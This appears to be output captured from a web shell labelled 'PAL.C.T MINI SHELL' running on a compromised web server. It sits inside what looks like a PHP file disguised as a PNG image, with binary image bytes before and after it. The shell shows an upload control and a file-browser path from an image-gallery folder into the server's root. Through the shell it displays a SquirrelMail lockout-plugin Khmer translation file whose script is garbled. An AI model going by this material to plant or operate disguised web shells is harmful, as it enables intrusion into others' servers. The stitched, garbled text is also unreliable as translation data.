‰php  IHDRwQ)Bæa pHYs  šœsRGB®ÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ºtw.“oàWpå§;—³°QHZnw¢`gaiJ’9Þˆ‰ÑÒÌŸç™û¾ýÍaî=·nlŽ[ ʨG܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îú¸·y H†¯@E7j­Í 1j+OF¥–€‹Rg}Ü«‘;@’E™Öa¹±ùáÓ~ ÿj`Ùuû'ož> ÙjÝ-$˜_§q?¾q¸SXzG'åóay

PAL.C.T MINI SHELL
files >> /var/www/html/img_galeri/2r1asasas/root/usr/share/squirrelmail/locale/km/LC_MESSAGES/
upload
files >> /var/www/html/img_galeri/2r1asasas/root/usr/share/squirrelmail/locale/km/LC_MESSAGES/lockout.po

# Khmer (km) lockout Translation
# piseth <piseth_dv@khmeros.info>, 2008.
# Khoem Sokhem <khoemsokhem@khmeros.info>, 2009.
# Copyright (c) 2008-2009 KhmerOS Project
# Copyright (c) 1999-2009 The SquirrelMail Project Team
msgid ""
msgstr ""
"Project-Id-Version: lockout\n"
"Report-Msgid-Bugs-To: Paul Lesniewski <paul@squirrelmail.org>\n"
"POT-Creation-Date: 2007-10-23 23:28+0200\n"
"PO-Revision-Date: 2009-04-24 09:26+0700\n"
"Last-Translator: Khoem Sokhem <khoemsokhem@khmeros.info>\n"
"Language-Team: Khmer <en@li.org>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Generator: KBabel 1.11.4\n"
"Plural-Forms: nplurals=1; plural=0;\n"

#: functions.php:344 functions.php:397
msgid "Access denied.  Please contact your system administrator."
msgstr "សិទ្ធិ​ចូល​ដំណើរការ​ážáŸ’រូវបាន​បដិសáŸáž’ ។ សូម​ទាក់ទង​អ្នក​គ្រប់គ្រង​ប្រពáŸáž“្ធ​របស់​អ្នក ។"

#: functions.php:561 functions.php:698
msgid "Unknown user or password incorrect."
msgstr "ពាក្យ​សម្ងាážáŸ‹ និង​អ្នកប្រើ​មិន​ស្គាល់ គឺ​មិន​ážáŸ’រឹមážáŸ’រូវ ។"

#: functions.php:702
msgid "Sorry, you did not provide the correct challenge response."
msgstr "សូម​អភáŸáž™áž‘ោស អ្នក​មិន​បាន​ផ្ដល់​ចម្លើយážáž”​ឲ្យ​បាន​ážáŸ’រឹមážáŸ’រូវ​ទáŸÂ áŸ”"

#: functions.php:775
#, php-format
msgid ""
"NOTICE: User \"%s\" (domain \"%s\") has attempted (and failed) to log in %d "
"times in the last %d minutes.\n"
"\n"
"Times:\n"
"%s\n"
"\n"
"%s has been LOCKED OUT PERMANENTLY.\n"
"\n"
"To unlock this user, remove the \"%s_TOO_MANY_FAILED_LOGIN_ATTEMPTS\" "
"setting from the \"lockout_plugin_login_failure_information\" preference set."
msgstr ""
"ចំណាំ ៖ អ្នកប្រើ \"%s\" (ដែន \"%s\") បាន​​ចូល (និង​បរាជáŸáž™) %d ដងហើយ​នៅ %d នាទី​មុន ។\n"
"\n"
"ចំនួន​ដង ៖\n"
"%s\n"
"\n"
"%s ážáŸ’រូវបាន​ចáŸáž‰â€‹áž‡áž¶â€‹â€‹áž¢áž¶áž…ិន្ážáŸ’រៃយáŸÂ áŸ”\n"
"\n"
"ដើម្បី​ដោះសោ​អ្នកប្រើ ážáŸ’រូវ​យកការ​កំណážáŸ‹ \"%s_TOO_MANY_FAILED_LOGIN_ATTEMPTS\" áž…áŸáž‰â€‹áž–ី​សំណុំ​ចំណូល​ចិážáŸ’áž \"lockout_plugin_login_failure_information\" ។"

#: functions.php:775 functions.php:779 functions.php:786 functions.php:790
#: functions.php:868 functions.php:872 functions.php:879 functions.php:883
#: functions.php:957 functions.php:961 functions.php:968 functions.php:972
#, php-format
msgid " --- LOCKED OUT - %s"
msgstr " --- áž…áŸáž‰ - %s"

#: functions.php:779
#, php-format
msgid ""
"NOTICE: User \"%s\" (domain \"%s\") has attempted (and failed) to log in %d "
"times in the last %d minutes.\n"
"\n"
"Times:\n"
"%s\n"
"\n"
"%s has been LOCKED OUT for %d minutes.\n"
"\n"
"To unlock this user before then, remove the \"%"
"s_TOO_MANY_FAILED_LOGIN_ATTEMPTS\" setting from the "
"\"lockout_plugin_login_failure_information\" preference set."
msgstr ""
"ចំណាំ ៖ អ្នកប្រើ \"%s\" (ដែន \"%s\") បាន​ចូល (និង​បរាជáŸáž™) ចំនួន %d ដង​ហើយ​នៅ %d មុន ។\n"
"\n"
"ចំនួន​ដង ៖\n"
"%s\n"
"\n"
"%s ážáŸ’រូវបាន​ចáŸáž‰â€‹ážšáž™áŸˆáž–áŸáž› %d ។\n"
"\n"
"ដើម្បី​ដោះសោ​អ្នកប្រើ​មុន ážáŸ’រូវ​យក​ការ​កំណážáŸ‹ \"%"
"s_TOO_MANY_FAILED_LOGIN_ATTEMPTS\" áž…áŸáž‰â€‹áž–ី​សំណុំ​ចំណូលចិážáŸ’áž "
"\"lockout_plugin_login_failure_information\" ។"

#: functions.php:786
#, php-format
msgid ""
"NOTICE: User \"%s\" (domain \"%s\") has attempted (and failed) to log in %d "
"times.\n"
"\n"
"Times:\n"
"%s\n"
"\n"
"%s has been LOCKED OUT PERMANENTLY.\n"
"\n"
"To unlock this user, remove the \"%s_TOO_MANY_FAILED_LOGIN_ATTEMPTS\" "
"setting from the \"lockout_plugin_login_failure_information\" preference set."
msgstr ""
"ចំណាំ ៖ អ្នកប្រើ \"%s\" (ដែន \"%s\") បាន​ចូល (និង​បរាជáŸáž™) ចំនួន %d ។\n"
"\n"
"ចំនួន​ដង ៖\n"
"%s\n"
"\n"
"%s ážáŸ’រូវបាន​ចáŸáž‰â€‹áž‡áž¶â€‹áž¢áž¶áž…ិន្ážáŸ’រៃយáŸÂ áŸ”\n"
"\n"
"ដើម្បី​ដោះសោ​អ្នកប្រើ​នáŸáŸ‡ យក​ការ​កំណážáŸ‹ \"%s_TOO_MANY_FAILED_LOGIN_ATTEMPTS\" áž…áŸáž‰áž–ី​សំណុំ​ចំណូលចិážáŸ’áž \"lockout_plugin_login_failure_information\" ។"

#: functions.php:790
#, php-format
msgid ""
"NOTICE: User \"%s\" (domain \"%s\") has attempted (and failed) to log in %d "
"times.\n"
"\n"
"Times:\n"
"%s\n"
"\n"
"%s has been LOCKED OUT for %d minutes.\n"
"\n"
"To unlock this user before then, remove the \"%"
"s_TOO_MANY_FAILED_LOGIN_ATTEMPTS\" setting from the "
"\"lockout_plugin_login_failure_information\" preference set."
msgstr ""
"ចំណាំ ៖ អ្នកប្រើ \"%s\" (ដែន \"%s\") បាន​ចូល (និង​បរាជáŸáž™) ចំនួន %d ដង ។\n"
"\n"
"ចំនួន​ដង ៖\n"
"%s\n"
"\n"
"%s ážáŸ’រូវបាន​ចáŸáž‰â€‹ážšáž™áŸˆáž–áŸáž› %d នាទី ។\n"
"\n"
"ដើម្បី​ដោះសោ​អ្នកប្រើ​នáŸáŸ‡â€‹áž˜áž»áž“ គឺ​ážáŸ’រូវ​យក​ការ​កំណážáŸ‹ \"%"
"s_TOO_MANY_FAILED_LOGIN_ATTEMPTS\" áž…áŸáž‰â€‹áž–ី​សំណុំ​ចំណូលចិážáŸ’áž \"lockout_plugin_login_failure_information\" ។"

#: functions.php:868
#, php-format
msgid ""
"NOTICE: Someone at %s has attempted (and failed) to log in %d times in the "
"last %d minutes.\n"
"\n"
"Times:\n"
"%s\n"
"\n"
"%s has been LOCKED OUT PERMANENTLY.\n"
"\n"
"To unlock this client address, remove the \"%s_TOO_MANY_FAILED_LOGIN_ATTEMPTS"
"\" setting from the \"lockout_plugin_login_failure_information\" preference "
"set."
msgstr ""
"ចំណាំ ៖ មាននរណា​ម្នាក់​នៅ %s បាន​ចូល (និង​បរាជáŸáž™) ចំនួន %d ដង​នៅ %d មុន ។\n"
"\n"
"ចំនួន​ដង ៖\n"
"%s\n"
"\n"
"%s ážáŸ’រូវបាន​ចáŸáž‰â€‹áž‡áž¶â€‹áž¢áž¶áž…ិន្ážáŸ’រៃយáŸÂ áŸ”\n"
"\n"
"ដើម្បី​ដោះសោ​អាសយដ្ឋាន​ម៉ាស៊ីន​ភ្ញៀវនáŸáŸ‡ ážáŸ’រូវ​យក​ការ​កំណážáŸ‹ \"%s_TOO_MANY_FAILED_LOGIN_ATTEMPTS"
"\" áž…áŸáž‰â€‹áž–ី​សំណុំ​ចំណូលចិážáŸ’áž \"lockout_plugin_login_failure_information\" ។"

#: functions.php:872
#, php-format
msgid ""
"NOTICE: Someone at %s has attempted (and failed) to log in %d times in the "
"last %d minutes.\n"
"\n"
"Times:\n"
"%s\n"
"\n"
"%s has been LOCKED OUT for %d minutes.\n"
"\n"
"To unlock this client address, remove the \"%s_TOO_MANY_FAILED_LOGIN_ATTEMPTS"
"\" setting from the \"lockout_plugin_login_failure_information\" preference "
"set."
msgstr ""
"ចំណាំ ៖ មាន​នរណា​ម្នាក់​នៅ %s បាន​ចូល (និង​បរាជáŸáž™) ចំនួន %d ដង​នៅ​ %d នាទី​មុន ។\n"
"\n"
"ចំនួន​ដង ៖\n"
"%s\n"
"\n"
"%s ážáŸ’រូវបាន​ចáŸáž‰â€‹ážšáž™áŸˆáž–áŸáž› %d នាទី ។\n"
"\n"
"ដើម្បី​ដោះសោ​អាសយដ្ឋាន​ម៉ាស៊ីន​ភ្ញៀវ​នáŸáŸ‡ គឺ​ážáŸ’រូវ​យក​ការ​កំណážáŸ‹ \"%s_TOO_MANY_FAILED_LOGIN_ATTEMPTS"
"\" áž…áŸáž‰â€‹áž–ី​សំណុំ​ចំណូល​ចិážáŸ’áž \"lockout_plugin_login_failure_information\" ។"

#: functions.php:879
#, php-format
msgid ""
"NOTICE: Someone at %s has attempted (and failed) to log in %d times.\n"
"\n"
"Times:\n"
"%s\n"
"\n"
"%s has been LOCKED OUT PERMANENTLY.\n"
"\n"
"To unlock this client address, remove the \"%s_TOO_MANY_FAILED_LOGIN_ATTEMPTS"
"\" setting from the \"lockout_plugin_login_failure_information\" preference "
"set."
msgstr ""
"ចំណាំ ៖ មាន​នរណា​ម្នាក់​នៅ %s បាន​ចូល (និង​បរាជáŸáž™) ចំនួន %d ដង ។\n"
"\n"
"ចំនួន​ដង ៖\n"
"%s\n"
"\n"
"%s បាន​ចáŸáž‰â€‹áž‡áž¶â€‹áž¢áž¶áž…ិន្ážáŸ’រៃយáŸÂ áŸ”\n"
"\n"
"ដើម្បី​ដោះសោ​អាសយដ្ឋាន​ម៉ាស៊ីន​ភ្ញៀវ គឺ​ážáŸ’រូវ​យក​ការ​កំណážáŸ‹ \"%s_TOO_MANY_FAILED_LOGIN_ATTEMPTS"
"\" áž…áŸáž‰â€‹áž–ី​សំណុំ​ចំណូលចិážáŸ’áž \"lockout_plugin_login_failure_information\" ។"

#: functions.php:883
#, php-format
msgid ""
"NOTICE: Someone at %s has attempted (and failed) to log in %d times.\n"
"\n"
"Times:\n"
"%s\n"
"\n"
"%s has been LOCKED OUT for %d minutes.\n"
"\n"
"To unlock this client address before then, remove the \"%"
"s_TOO_MANY_FAILED_LOGIN_ATTEMPTS\" setting from the "
"\"lockout_plugin_login_failure_information\" preference set."
msgstr ""
"ចំណាំ ៖ មាន​នរណា​ម្នាក់​នៅ %s បាន​ចូល (និង​បរាជáŸáž™) ចំនួន %d ដង ។\n"
"\n"
"ចំនួន​ដង ៖\n"
"%s\n"
"\n"
"%s ážáŸ’រូវបាន​ចáŸáž‰â€‹ážšáž™áŸˆáž–áŸáž› %d នាទី ។\n"
"\n"
"ដើម្បី​ដោះសោ​អាសយដ្ឋាន​​ម៉ាស៊ីន​ភ្ញៀវ​នáŸáŸ‡ គឺ​ážáŸ’រូវ​យក​ការ​កំណážáŸ‹ \"%"
"s_TOO_MANY_FAILED_LOGIN_ATTEMPTS\" áž…áŸáž‰â€‹áž–ី​សំណុំ​ចំណូលចិážáŸ’áž "
"\"lockout_plugin_login_failure_information\" ។"

#: functions.php:957
#, php-format
msgid ""
"NOTICE: Someone at %s has attempted (and failed) to log in %d times in the "
"last %d minutes.\n"
"\n"
"Times:\n"
"%s\n"
"\n"
"Users attempting to log in from %s are PERMANENTLY required to enter a "
"CAPTCHA code when logging in.\n"
"\n"
"To remove the CAPTCHA requirement, remove the \"%"
"s_CAPTCHA_TOO_MANY_FAILED_LOGIN_ATTEMPTS\" setting from the "
"\"lockout_plugin_login_failure_information\" preference set."
msgstr ""
"ចំណាំ ៖ មាន​នរណា​ម្នាក់នៅ %s បាន​ចូល (និង​បរាជáŸáž™) ចំនួន %d ដង នៅ %d នាទី​មុន ។\n"
"\n"
"ចំនួន​ដង ៖\n"
"%s\n"
"\n"
"អ្នក​ប្រើ​ចូល​ពី %s គឺ​ážáž˜áŸ’រូវ​ឲ្យ​បញ្ចូល​លáŸážâ€‹áž€áž¼ážŠ CAPTCHA នៅពáŸáž›â€‹áž…ូល​ជា​រៀងរហូážÂ áŸ”\n"
"\n"
"ដើម្បី​យក​ážáž˜áŸ’រូវការ CAPTCHA áž…áŸáž‰ គឺ​ážáŸ’រូវ​យក​ការ​កំណážáŸ‹ \"%"
"s_CAPTCHA_TOO_MANY_FAILED_LOGIN_ATTEMPTS\" áž…áŸáž‰â€‹áž–ី​សំណុំ​ចំណូល​ចិážáŸ’áž "
"\"lockout_plugin_login_failure_information\" ។"

#: functions.php:961
#, php-format
msgid ""
"NOTICE: Someone at %s has attempted (and failed) to log in %d times in the "
"last %d minutes.\n"
"\n"
"Times:\n"
"%s\n"
"\n"
"Users attempting to log in from %s will be required to enter a CAPTCHA code "
"when logging in for the next %d minutes.\n"
"\n"
"To remove the CAPTCHA requirement, remove the \"%"
"s_CAPTCHA_TOO_MANY_FAILED_LOGIN_ATTEMPTS\" setting from the "
"\"lockout_plugin_login_failure_information\" preference set."
msgstr ""
"ចំណាំ ៖ មាន​នរណាម្នាក់​នៅ %s បាន​ចូល (និង​បរាជáŸáž™) ចំនួន %d ដង​នៅ %d នាទី​មុន ។\n"
"\n"
"ចំនួន​ដង ៖\n"
"%s\n"
"\n"
"អ្នក​ប្រើ​ចូល​ពី %s នឹង​ážáŸ’រូវបាន​ážáž˜áŸ’រូវ​ឲ្យ​បញ្ចូល​កូដ CAPTCHA នៅពáŸáž›â€‹áž…ូល​នៅ %d នាទី​ទៀážÂ áŸ”\n"
"\n"
"ដើម្បី​ផ្លាស់ទី​ážáž˜áŸ’រូវការ CAPTCHA គឺ​ážáŸ’រូវ​យក​ការកំណážáŸ‹ \"%"
"s_CAPTCHA_TOO_MANY_FAILED_LOGIN_ATTEMPTS\" áž…áŸáž‰â€‹áž–ី​សំណុំ​ចំណូលចិážáŸ’áž "
"\"lockout_plugin_login_failure_information\" ។"

#: functions.php:968
#, php-format
msgid ""
"NOTICE: Someone at %s has attempted (and failed) to log in %d times.\n"
"\n"
"Times:\n"
"%s\n"
"\n"
"Users attempting to log in from %s are PERMANENTLY required to enter a "
"CAPTCHA code when logging in.\n"
"\n"
"To remove the CAPTCHA requirement, remove the \"%"
"s_CAPTCHA_TOO_MANY_FAILED_LOGIN_ATTEMPTS\" setting from the "
"\"lockout_plugin_login_failure_information\" preference set."
msgstr ""
"ចំណាំ ៖ មាន​នរណា​ម្នាក់​នៅ %s បាន​ចូល (និង​បរាជáŸáž™) ចំនួន %d ដង ។\n"
"\n"
"ចំនួន​ដង ៖\n"
"%s\n"
"\n"
"អ្នកប្រើ​ចូល​ពី %s គឺ​ážáž˜áŸ’រូវ​ឲ្យ​បញ្ចូល​លáŸážâ€‹áž€áž¼ážŠ "
"CAPTCHA នៅ​ពáŸáž›â€‹áž…ូល​ជា​រៀងរហូážÂ áŸ”\n"
"\n"
"ដើម្បី​យក​ážáž˜áŸ’រូវ​ការ CAPTCHA áž…áŸáž‰ គឺ​ážáŸ’រូវ​យក​ការ​កំណážáŸ‹ \"%"
"s_CAPTCHA_TOO_MANY_FAILED_LOGIN_ATTEMPTS\" áž…áŸáž‰â€‹áž–ី​សំណុំ​ចំណូលចិážáŸ’áž "
"\"lockout_plugin_login_failure_information\" ។"

#: functions.php:972
#, php-format
msgid ""
"NOTICE: Someone at %s has attempted (and failed) to log in %d times.\n"
"\n"
"Times:\n"
"%s\n"
"\n"
"Users attempting to log in from %s will be required to enter a CAPTCHA code "
"when logging in for the next %d minutes.\n"
"\n"
"To remove the CAPTCHA requirement before then, remove the \"%"
"s_CAPTCHA_TOO_MANY_FAILED_LOGIN_ATTEMPTS\" setting from the "
"\"lockout_plugin_login_failure_information\" preference set."
msgstr ""
"ចំណាំ ៖ មាន​នរណា​ម្នាក់​នៅ %s បាន​ចូល (និង​បរាជáŸáž™) ចំនួន %d ដង ។\n"
"\n"
"ចំនួន​ដង ៖\n"
"%s\n"
"\n"
"អ្នកប្រើ​ចូល​ពី %s នឹង​ážáž˜áŸ’រូវ​ឲ្យ​បញ្ចូល​លáŸážâ€‹áž€áž¼ážŠ CAPTCHA នៅពáŸáž›â€‹áž…ូល​នៅ %d នាទី​ក្រោយ​ទៀážÂ áŸ”\n"
"\n"
"ដើម្បី​ផ្លាស់ទី​ážáž˜áŸ’រូវការ CAPTCHA មុន គឺ​ážáŸ’រូវ​យក​ការ​កំណážáŸ‹ \"%"
"s_CAPTCHA_TOO_MANY_FAILED_LOGIN_ATTEMPTS\" áž…áŸáž‰â€‹áž–ី​សំណុំ​ចំណូលចិážáŸ’áž "
"\"lockout_plugin_login_failure_information\" ។"

#: functions.php:1012
msgid "User account:"
msgstr "គណនី​អ្នកប្រើ ៖"

#: functions.php:1013
msgid "Domain:"
msgstr "ដែន ៖ "

#: functions.php:1014
msgid "Timestamp: "
msgstr "ážáŸ‚ម​ពáŸáž›ážœáŸáž›áž¶Â áŸ– "

#: functions.php:1032
msgid "[POSSIBLE BRUTEFORCE ABUSE]"
msgstr "[POSSIBLE BRUTEFORCE ABUSE]"

ß yôÊá½~ŒorÀ5ÖJ™={þÁEÇêe¾uç£Qk®•ᯘG{÷?ù»ã+—]üôçƒÉÍ×ןô?wûM3X^¶Úæ­Œ>{´7Ù¾ì´Kã>èo²ÎnÝ\ÿªÊj¿y·ðR £õãg/î=ÞÿfúOçÖr·o×NVÊv¿ú~ÿY+ü¿NGêu÷ø·Ã®›þë¹HWŠûyëwÆ[eQ¶Ê¨¾SÚb­Ö>öÍËÇþ³>ä}Gçmx[o[<ÞÚ{ðýŸÏ®_ÅïqF– ÚÛvMIEND®B`‚